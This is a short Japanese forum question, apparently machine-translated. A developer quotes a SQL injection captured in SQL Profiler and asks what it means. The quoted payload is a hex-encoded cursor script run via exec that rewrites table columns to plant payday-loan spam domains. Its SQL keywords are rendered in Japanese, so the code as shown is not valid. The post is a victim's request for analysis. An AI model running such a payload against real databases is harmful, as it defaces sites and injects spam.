最近、SQL Profiler を使用して、アプリケーションで SQL インジェクションの原因を発見しました。
そしてその原因は次のように言います。
SELECT * FROM tbl_posting_job_info where job_posting_id=33131 宣言 @s varchar(8000) セット@s=キャスト(20424547494e20455845432827555044415445205b272b40542b275d20534554205b272b40432b275d3d5245504c414345285b272b40432b275d2c2027276164616d7061796461796c6f616e732e636f6d27272c202727647265777061796461796c6f616e732e636f6d272729207768657265205b272b40432b275d206c696b65202727256164616d7061796461796c6f616e732e636f6d252727202729204645544348204e4558542046524f4d205461626c655f437572736f7220494e544f2040542c404320454e4420434c4f5345205461626c655f437572736f72204445414c4c4f43415445205461626c655f437572736f72 as varchar(8000)) exec(@s)exec(@s)exec(@s)
これはクエリ文字列として渡されます。
それで、誰がそれが何を言っているのか教えてもらえますか..?